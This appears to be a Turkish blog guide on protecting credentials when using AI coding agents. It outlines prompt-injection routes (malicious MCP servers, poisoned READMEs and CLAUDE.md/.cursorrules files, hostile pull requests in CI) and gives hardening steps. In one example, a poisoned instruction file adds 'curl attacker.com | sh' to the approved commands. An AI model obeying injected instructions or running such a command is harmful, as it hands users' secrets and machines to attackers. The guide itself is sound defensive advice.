1X2.TV — Yapay Zeka Futbol Tahminleri
Yapay zekâ destekli maç tahminleri ve bahis ipuçları
Yapay Zeka Borsa Tahminleri
Yapay zekâ destekli borsa tahminleri ve analiz

Yapay Zeka Kodlama Ajanı Güvenliği 2026: Kimlik Bilgilerinizi Nasıl Korursunuz

Claude Code, GitHub Copilot ve Codex gibi yapay zeka kodlama ajanları 2026 yılında saldırı hedefleri haline geldi. Kimlik bilgilerini, gizli anahtarları ve kaynak kodunu güvende tutmak için pratik bir rehber.

AI Tools Hub Ekibi
|
AI Coding Agent Security 2026: How to Protect Your Credentials
Projemiz

1X2.TV — Yapay Zeka Futbol Tahminleri

Yapay zekâ destekli futbol maç tahminleri, bahis ipuçları ve detaylı analiz. 50.000'den fazla maçı analiz eden makine öğrenmesi algoritmalarıyla güçlendirilmiştir.

Tahminleri Al

Nisan 2026’da güvenlik araştırmacıları, Claude Code, GitHub Copilot ve OpenAI Codex ajanlarına yönelik altı sömürülebilir yolu gösteren koordineli bir açıklama yayımladı — bunların her biri aynı sonuçla bitiyordu: çalınan kimlik bilgileri. Saldırganlar model ağırlıklarını, İstem enjeksiyonu şakalarını veya AGI kıyamet senaryolarını hedef almıyordu. AI kodlama ajanlarının her zaman erişim hakkına sahip olduğu şeyleri hedef alıyorlardı: kabuğunuzu, ortam değişkenlerinizi ve kimliği doğrulanmış CLI’larınızı.

Gerçek bir kod tabanında bir AI kodlama ajanı kullanıyorsanız bu önemli. Bu rehber, nelerin değiştiğini, gerçek risklerin neler olduğunu ve fark yaratan pratik sağlamlaştırma adımlarını kapsıyor.

Gerçekte Ne Oldu

Açıklama, birden fazla büyük AI kodlama ajanında çalışan altı saldırı sınıfını tanımladı:

  1. Kötü niyetli MCP sunucuları, ajan bunlara bağlandığında ortam değişkenlerini dışarı sızdırdı.
  2. README dosyaları ve bağımlılıklar yoluyla İstem enjeksiyonu, ajanların kullanıcının hiç onaylamadığı kabuk komutlarını çalıştırmasına neden oldu.
  3. Ele geçirilen paket meta verileri (npm, PyPI), ajan “derlemeyi düzeltme” kapsamında kurulum sonrası betikleri çalıştırdı.
  4. Depo düzeyinde enjeksiyon, üst akış işbirlikçileri tarafından gönderilen .cursorrules, CLAUDE.md ve benzeri dosyalar üzerinden gerçekleşti.
  5. CI/CD ajanının kötüye kullanımı, boru hatlarında başıboş çalışan ajanların AWS, GCP ve GitHub belirteçleri düşmanca çekme istekleri yoluyla ifşa edildi.
  6. Tarayıcı aracı yan kanalları, gerçek bir tarayıcıyı süren ajanlar oturum çerezlerini ekran görüntülerine ve araç sonuçlarına sızdırdı.

Ortak nokta model değil. Ajan döngüsü: AI kodlama ajanlarının makinenize geniş ve kalıcı erişimi var ve modelin gördüğü her girdi bir talimata dönüşebilir. Bu, bir web sekmesindeki sohbet botundan temelde farklı bir tehdit modeli.

Kimler Risk Altında

Dürüst değerlendirme: Bir AI kodlama ajanı kullanan herkes ciddi tehlikede değil.

Şu durumlarda anlamlı bir risk altındasınız:

  • Ajanları etkileşimsiz olarak (CI/CD, GitHub Actions, zamanlanmış görevler) bulut kimlik bilgileri erişim alanındayken çalıştırıyorsunuz.
  • Tam olarak güvenmediğiniz kaynaklardan MCP sunucularına bağlanıyorsunuz.
  • Ajanların, okumadığınız üçüncü taraf AI talimatları (AGENTS.md, .cursorrules, vb.) içeren depolarda çalışmasına izin veriyorsunuz.
  • Uzun ömürlü API token'ları (AWS, Stripe, OpenAI, GitHub PAT'leri) ~/.zshrc, .env veya kabuk geçmişinizde duruyor.

Aşağıdaki durumlarda riskiniz daha düşüktür:

  • Ajanları yalnızca etkileşimli olarak kullanıyor ve her kabuk komutunu onaylıyorsunuz.
  • Geliştirici makinenizde üretim kimlik bilgileri olmadan kişisel projeler üzerinde çalışıyorsunuz.
  • Yalnızca satıcı tarafından yayımlanan MCP sunucularını kullanıyor ve depo düzeyindeki talimat dosyalarını inceliyorsunuz.

Hiçbir grup varsayılan olarak güvenli değildir. İlk grup bunu acil olarak ele almalıdır. İkinci grup aşağıdaki adımları iyi bir hijyen uygulaması olarak görmelidir.

Adım 1: Ajanın Erişebildiklerini Azaltın

En yüksek etkili tek değişiklik, ajan çalışırken ajan sürecinin erişebildiği kimlik bilgilerini daraltmaktır.

Gizli anahtarları kabuk rc dosyalarından çıkarın. ~/.zshrc, ~/.bashrc veya ~/.profile içindeki her şey, ajan bir kabuk başlattığı andan itibaren ajanın ortamında bulunur. Uzun ömürlü gizli anahtarları bir gizli anahtar yöneticisine (1Password CLI, pass, AWS Secrets Manager, doppler) taşıyın ve yalnızca ihtiyaç duyduğunuz belirli terminal oturumuna yükleyin.

Kısa ömürlü kimlik bilgileri kullanın. 1 saatlik oturumlarla AWS SSO, tek depolara kapsamlı GitHub ince taneli PAT'ler ve Stripe kısıtlı anahtarları, bir token sızması durumunda hasar yarıçapını önemli ölçüde azaltır. Sızdırma ile rotasyon arasındaki süre “haftalar”dan “dakikalara” iner.

Ajanları ayrı bir kullanıcı hesabında veya konteynerde çalıştırın. En kapsamlı çözüm: Ajanlar, gerçek ~/.aws, ~/.config/gh veya tarayıcı çerez deposuna erişimi olmayan özel bir kullanıcı olarak çalışır. Bir devcontainer, bir Docker volume veya hafif bir VM hepsi işe yarar. Hobi projeleri için gereksizdir ve üretime dokunan her şey için temel bir gerekliliktir.

Doğru aracı seçmek için bir başlangıç noktası istiyorsanız, En İyi AI Kodlama Asistanları ve Claude Code İncelemesi yazılarımız ana seçenekleri ele alır. Aşağıdaki güvenlik rehberi hepsi için geçerlidir.

Adım 2: MCP Sunucu Yapılandırmanızı Sağlamlaştırın

Model Context Protocol, 2025–2026 yıllarında AI kodlama ajanlarını çok daha kullanışlı ve çok daha saldırıya açık hale getirdi. Bağlandığınız her MCP sunucusu, tam kullanıcı yetkilerinizle çalışır ve ajanın okuduğu her şeyi okuyabilir.

Kısa bir MCP hijyeni kontrol listesi:

UygulamaNeden önemli
MCP sunucularını belirli sürümlere sabitleyinKötü amaçlı kodu tanıtan sessiz güncellemeleri önler
MCP yapılandırmanızdaki command ve args öğelerini denetleyinBazı sunucular kullanıcı kontrollü girdileri kabukta çalıştırır
Yapılandırma olmadan “çalışan” MCP sunucularından kaçınınKolaylık genellikle geniş dosya sistemi erişiminden gelir
Net bakımcıları olan yayınlanmış sunucuları tercih edinPaket kayıt sistemlerindeki anonim sunucular doğrulanmamıştır
Aktif olarak kullanmadığınız MCP sunucularını devre dışı bırakınBoşta duran sunucular bile her araç çağrısı sonucunu alır

MCP’nin nasıl çalıştığı ve neler yapabildiği hakkında daha derinlemesine bilgi için, protokolün kendisini anlatan Model Context Protocol Rehberi’mize göz atın.

Adım 3: Depo Düzeyindeki Talimat Dosyalarını Kod Gibi Ele Alın

CLAUDE.md, AGENTS.md, .cursorrules, .github/copilot-instructions.md ve benzeri dosyalar, ajan o depoda her çalıştığında ajanın bağlamına yüklenir. Ayrıca, açık kaynak projelerde bir çekme isteği (pull request) gönderebilen herkes dahil olmak üzere, depoya yazma erişimi olan herkes tarafından düzenlenebilirler.

Kötü amaçlı bir talimat dosyası şunları yapabilir:

  • Ajana .env verilerini sızdıran tek satırlık bir komut çalıştırmasını söyleyebilir.
  • Kaynak kodunu yükleyen “yardımcı” bir pre-commit hook’u önerebilir.
  • “Onaylı” komutları curl attacker.com | sh’ı içerecek şekilde yeniden tanımlayabilir.

Çözüm basit: Bu dosyaları bir derleme betiğini inceler gibi inceleyin. Özellikle:

  • Çekme isteklerindeki talimat dosyası değişikliklerini güvenlik açısından hassas olarak ele alın.
  • CLAUDE.md ve benzeri dosyaları karşılaştıran ve insan incelemesi gerektiren CI kontrolleri ekleyin.
  • Yeni depolar için, ajanın herhangi bir şey çalıştırmasına izin vermeden önce her talimat dosyasını okuyun.
  • Ekibiniz üretilmiş talimat dosyaları kullanıyorsa, bunları imzalayın ve imzayı doğrulayın.

Adım 4: CI/CD Ajan Çalıştırmalarını Güvenli Hale Getirin

CI/CD senaryosu açık ara en tehlikeli olandır. Bir boru hattındaki (pipeline) bir ajanın bulut kimlik bilgileri, deponuza gönderme erişimi ve her komutu onaylayan bir insanı yoktur. Tek bir düşmanca çekme isteği her şeyi ele geçirebilir.

CI’da AI ajanları çalıştırıyorsanız:

Uzun ömürlü gizli anahtarlar yerine OIDC kullanın. GitHub Actions, GitLab ve çoğu CI platformu artık AWS, GCP, Azure ve HashiCorp Vault için OIDC federasyonunu destekliyor. Ajanlar, CI değişkenlerinde kalıcı bir gizli anahtar yerine her çalıştırma için kısa ömürlü kimlik bilgileri alır.

Çatallardan (fork) gelen PR’larda ajan çalıştırmayın. Bu, standart pull_request_target tuzağıdır. Çatal PR’ları CI yapılandırmasını veya talimat dosyalarını değiştirebilir; ajanınız bunları okur ve çalıştırırsa, çatal artık gizli anahtarlarınızı kontrol eder.

Runner’ın çıkışını kısıtlayın. CI runner’larının paket kayıtlarınız, bulut sağlayıcınız ve ajanın API uç noktası dışındaki tüm giden bağlantılarını engelleyin. Kimlik bilgileri çalınırsa, saldırgan bunları kolayca dışarı aktaramaz.

PR ile tetiklenen ajan çalıştırmalarını onaylayın. Gizli anahtarlara erişimi olan herhangi bir ajan çalıştırmasını bir bakımcının manuel olarak tetiklemesini zorunlu kılın. Bir insan onayı ile yavaşlatmaya değer.

Adım 5: Riskin Gerektirdiği Durumlarda Yerel Ajanları Kullanın

Sızıntıların felaket sonuçlar doğuracağı kod tabanları için — özel algoritmalar, güvenlik araçları, düzenlenmiş sektörler — ajanı kontrolünüz altındaki donanımda yerel olarak çalıştırmak, bir risk sınıfını tamamen ortadan kaldırır.

Yerel ajanlar:

  • Kodunuzu üçüncü taraf bir API’ye göndermez.
  • Ele geçirilmiş bir sağlayıcıdan kötü niyetli bir yanıt alamaz.
  • Telemetri kaynaklı sağlayıcı tarafı istem enjeksiyonuna maruz kalmaz.

Performans farkı önemli ölçüde azaldı. Yetenekli donanımda çalışan 32B’lik bir model artık çoğu kodlama görevini makul düzeyde iyi yönetiyor. Yerel LLM Çalıştırmak İçin En İyi Mini PC’ler rehberimiz donanım tarafını, 2026’nın En İyi Yerel Yapay Zeka Araçları ise yazılım yığınını kapsıyor.

Bu, her ekip için doğru cevap değil — zor görevler için sınır modeli anlamlı derecede daha zeki — ancak güvenlik açısından hassas alt küme için, 2024'te olmadığı gibi 2026'da gerçek bir seçenek.

Adım 6: İhlali Daha Hızlı Tespit Edin

Yukarıdakilerin hepsine rağmen, bazı ajan çalıştırmalarının yanlış gideceğini varsayın. Amaç haftalar değil, dakikalar içinde fark etmek.

Pratik tespit yöntemleri:

  • Kimlik bilgisi rotasyon uyarıları. AWS, GitHub ve çoğu bulut sağlayıcısı, bir kimlik bilgisi yeni bir IP veya coğrafyadan kullanıldığında size e-posta gönderir. Bunları açın.
  • Ajan aktivite günlüğü. Çoğu ajan, her araç çağrısının denetim günlüklerini destekler. Bunları gerçekten baktığınız bir yere gönderin — küçük ekipler için bir Slack kanalı işe yarar.
  • Tuzak token’ları. Ortamınıza sahte bir AWS_SECRET_ACCESS_KEY koyun. Birinin onu kullanmaya çalıştığı anda size bildirim gönderen bir Lambda kurun. Bir ajan hiç env değişkenlerini dışarı aktarırsa, saniyeler içinde öğrenirsiniz.
  • Giden trafik izleme. Üretim erişimi olan geliştirme makineleri için, bariz dışarı aktarma alanlarına (pastebin, transfer.sh, anonim dosya barındırma siteleri) giden trafiği izlemek adına giden DNS trafiğini izleyin.

Gerçekçi Bir Tehdit Modeli

2026’da çoğu yapay zeka kodlama ajanı kullanıcısı hedef alınmıyor. Gerçekçi riskler şunlardır:

  1. Genel tedarik zinciri saldırıları, ajanın normal bir görevin parçası olarak yüklediği ele geçirilmiş npm/PyPI paketleri üzerinden gerçekleşir. Hedef ajan değil, sizsiniz; ajan sadece saldırının daha hızlı sonuçlanmasını sağlar.
  2. Popüler açık kaynak depolardaki README dosyaları üzerinden gelen drive-by istem enjeksiyonu. Saldırgan için düşük çaba, sonrasında temizlik için yüksek çaba gerektirir.
  3. CI/CD ihlali, çoğunlukla esnek katkı politikalarına sahip açık kaynak projelerde kötü niyetli bir pull request (çekme isteği) üzerinden gerçekleşir.

Belirli geliştiricilere yönelik hedefli saldırılar da yaşanıyor — güvenlik araştırmacıları ve kripto kurucuları hedef alındı — ancak çoğu profesyonel kullanıcı için yükseltme yolu aynı: daha kısa ömürlü kimlik bilgileri, ortamda daha az gizli anahtar ve ajan çalışmaya başlamadan önce talimat dosyalarını okuma alışkanlığı.

Kısa Versiyon

Bu makaleden başka hiçbir şey yapmasanız bile, bu hafta şu dört şeyi yapın:

  1. Uzun ömürlü API token'larını ~/.zshrc ve benzeri dosyalardan çıkarın. Bir gizli anahtar yöneticisi kullanın.
  2. Mümkün olan her yerde kısa ömürlü kimlik bilgilerine (AWS SSO, GitHub ince taneli PAT'ler) geçin.
  3. MCP sunucu yapılandırmanızı denetleyin: sürümleri sabitleyin, kullanmadığınız sunucuları kaldırın.
  4. Ajanların çalışmasına izin verdiğiniz depolardaki tüm CLAUDE.md, AGENTS.md ve .cursorrules dosyalarını okuyun.

Bu, bugün AI kodlama ajanlarını kullanan ekiplerin %90'ından önde olmanızı sağlar. Kalan %10 — üretim CI/CD kullanımı, düzenlenmiş sektörler, önemli bir etki alanı olan her şey — 4–6. adımlardaki daha ağır işleri gerektirir.

AI kodlama ajanlarını kullanmaya devam etmeye değer. Verimlilik kazançları gerçek ve güvenlik modeli temelden bozuk değil — sadece çoğu geliştiricinin kafasındaki modelden daha yeni. Bugün birkaç saatlik temizlik, sonradan yaşanacak bir kimlik bilgisi rotasyonu maratonunu kurtarır.

Projemiz

Yapay Zeka Hisse Senedi Tahminleri — Akıllı Piyasa Analizi

Yapay zeka destekli borsa tahminleri ve teknik analiz. Güven skorları ve risk metrikleriyle hisse senetleri, ETF'ler ve kripto için günlük tahminler alın.

Bugünkü Tahminleri Görüntüle
Araç geliştiricileri için

Bir yapay zeka aracı mı geliştiriyorsunuz veya pazarlıyorsunuz?

AI Tools Hub'da listelenin, incelenin veya öne çıkarın — Çok dilli, 12 aylık sponsorlu içerikler. 49 $'dan başlayan fiyatlarla.

AI Tools Hub Ekibi

Uzman Yapay Zeka Aracı İnceleyicileri

Yapay zeka tutkunları ve teknoloji uzmanlarından oluşan ekibimiz, ihtiyaçlarınıza en uygun çözümü bulmanıza yardımcı olmak için yüzlerce yapay zeka aracını test eder ve inceler. Gerçek dünya kullanımına dayalı dürüst ve derinlemesine analizler sunarız.

Bu makaleyi paylaşın: Gönder Paylaş LinkedIn

Ekibimizden Diğer Yapay Zeka Destekli Projeler

Diğer yapay zeka destekli araçlarımıza ve tahminlerimize göz atın